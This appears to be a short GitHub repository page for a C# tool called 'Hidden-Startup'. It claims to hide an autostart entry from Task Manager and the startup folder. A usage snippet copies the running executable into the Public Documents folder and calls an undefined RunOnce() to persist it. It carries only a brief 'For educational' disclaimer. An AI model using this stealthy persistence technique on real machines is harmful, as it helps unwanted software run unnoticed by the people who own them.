/Hidden-Startup

It is not showed in the task manager or shell:startup etc..

Primary LanguageC#

Hidden-Startup

Usage

string publicDir = Environment.GetEnvironmentVariable("public");
string copyPath = publicDir + @"\Documents\<Filename>";
FileInfo copyFile = new FileInfo(copyPath);
string OriginPath = Assembly.GetEntryAssembly().Location;
if (!(copyFile.Exists))
{
    System.IO.File.Copy(OriginPath, copyPath);
}
RunOnce()

For educational